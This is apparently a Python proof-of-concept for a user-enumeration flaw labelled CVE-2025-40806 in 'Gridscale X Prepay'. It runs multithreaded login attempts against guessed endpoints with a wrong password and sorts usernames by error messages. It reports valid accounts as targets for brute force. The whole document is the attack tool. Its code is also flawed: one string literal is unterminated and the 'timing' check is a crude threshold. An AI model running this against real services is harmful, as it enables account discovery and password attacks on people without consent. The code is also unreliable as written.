#!/usr/bin/env python3
"""
CVE-2025-40806 - Gridscale X Prepay User Enumeration PoC
Author: Security Researcher
Description: This PoC demonstrates user enumeration vulnerability in Gridscale X Prepay
"""
import requests
import sys
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
class UserEnumerationPoC:
def __init__(self, target_url):
self.target_url = target_url.rstrip('/')
self.session = requests.Session()
self.valid_users = []
def check_user_exists(self, username):
"""
Check if a username exists by analyzing server response
"""
try:
# Common login endpoint patterns
endpoints = [
'/api/auth/login',
'/auth/login',
'/login',
'/api/user/validate',
'/api/v1/auth'
]
for endpoint in endpoints:
url = f"{self.target_url}{endpoint}"
# Send request with invalid password for the test username
payload = {
'username': username,
'password': 'InvalidPassword123!'
}
headers = {
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
start_time = time.time()
response = self.session.post(url, json=payload, headers=headers, timeout=10)
response_time = time.time() - start_time
# Analyze response for user enumeration indicators
response_text = response.text.lower()
response_code = response.status_code
# Indicators of valid user
valid_indicators = [
'password is incorrect',
'invalid password',
'wrong password',
'incorrect password',
'password incorrect',
'auth failed',
'status": 401
]
# Indicators of invalid user
invalid_indicators = [
'user not found',
'user does not exist',
'username not found',
'account not found',
'invalid username',
'user unknown'
]
# Check for valid user indicators
for indicator in valid_indicators:
if indicator in response_text:
print(f"[+] VALID USER FOUND: {username}")
print(f" Response Code: {response_code}")
print(f" Response Time: {response_time:.3f}s")
self.valid_users.append(username)
return True
# Check for invalid user indicators
for indicator in invalid_indicators:
if indicator in response_text:
print(f"[-] User not found: {username}")
return False
# If response times differ significantly, might indicate enumeration
if response_time > 2.0:
print(f"[!] Suspicious response time for: {username} ({response_time:.3f}s)")
except requests.exceptions.RequestException as e:
print(f"[!] Error testing {username}: {str(e)}")
return None
return None
def enumerate_users(self, username_list, max_workers=10):
"""
Enumerate users from a list using multiple threads
"""
print(f"[*] Starting user enumeration against {self.target_url}")
print(f"[*] Testing {len(username_list)} usernames...")
print("-" * 60)
with ThreadPoolExecutor(max_workers=max_workers) as executor:
futures = {executor.submit(self.check_user_exists, user): user
for user in username_list}
for future in as_completed(futures):
future.result()
print("-" * 60)
print(f"[*] Enumeration complete. Found {len(self.valid_users)} valid users.")
return self.valid_users
def generate_report(self):
"""
Generate enumeration report
"""
if self.valid_users:
print("\n[!] VALID USERS FOUND:")
for user in self.valid_users:
print(f" - {user}")
print("\n[!] WARNING: These users are valid and can be targeted for brute force attacks.")
else:
print("\n[*] No valid users found in the provided list.")
def main():
if len(sys.argv) < 3:
print("Usage: python cve-2025-40806-poc.py <target_url> <username_list_file>")
print("Example: python cve-2025-40806-poc.py https://vulnerable-site.com usernames.txt")
sys.exit(1)
target_url = sys.argv[1]
username_file = sys.argv[2]
try:
with open(username_file, 'r') as f:
usernames = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"[!] Error: File {username_file} not found")
sys.exit(1)
poc = UserEnumerationPoC(target_url)
poc.enumerate_users(usernames)
poc.generate_report()
if __name__ == "__main__":
main()